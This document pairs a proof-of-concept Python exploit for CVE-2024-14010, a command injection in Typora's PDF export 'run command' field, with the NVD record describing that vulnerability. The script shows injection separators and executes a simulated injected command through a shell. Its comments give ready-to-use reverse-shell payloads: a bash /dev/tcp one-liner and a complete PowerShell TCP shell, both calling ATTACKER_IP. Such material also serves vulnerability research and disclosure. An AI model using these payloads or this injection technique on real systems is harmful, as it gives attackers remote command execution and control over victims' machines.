CVE-2024-14010

import os import subprocess # CVE-2024-14010 PoC - Typora Command Injection in PDF Export # This PoC demonstrates how to exploit the command injection vulnerability # Malicious command to be injected in Typora's PDF export "run command" field # Example: Execute calculator on Windows malicious_command = "calc.exe" # For demonstration purposes, this shows the exploitation process # In real attack, the following would be entered in Typora's PDF export preferences: # In the "run command" field, enter: # ; calc.exe # or # | calc.exe # or # `calc.exe` print("[*] CVE-2024-14010 - Typora Command Injection PoC") print(f"[*] Malicious command to inject: {malicious_command}") # Simulate the vulnerable command construction vulnerable_command = f"pdf_converter --output document.pdf ; {malicious_command}" print(f"[*] Constructed command: {vulnerable_command}") # Execute the command (this would be done by Typora in vulnerable version) try: result = subprocess.Popen(vulnerable_command, shell=True) print("[+] Command executed successfully!") except Exception as e: print(f"[-] Error: {e}") # Reverse shell example (for educational purposes only) # Attacker would inject something like: # ; bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 # or on Windows: # ; powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

{"cve": {"id": "CVE-2024-14010", "sourceIdentifier": "[email protected]", "published": "2025-12-12T20:15:38.520", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Typora 1.7.4 contains a command injection vulnerability in the PDF export preferences that allows attackers to execute arbitrary system commands. Attackers can inject malicious commands into the 'run command' input field during PDF export to achieve remote code execution."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "http://www.typora.io", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/51752", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/typora-os-command-injection-via-export-pdf-preferences", "source": "[email protected]"}]}}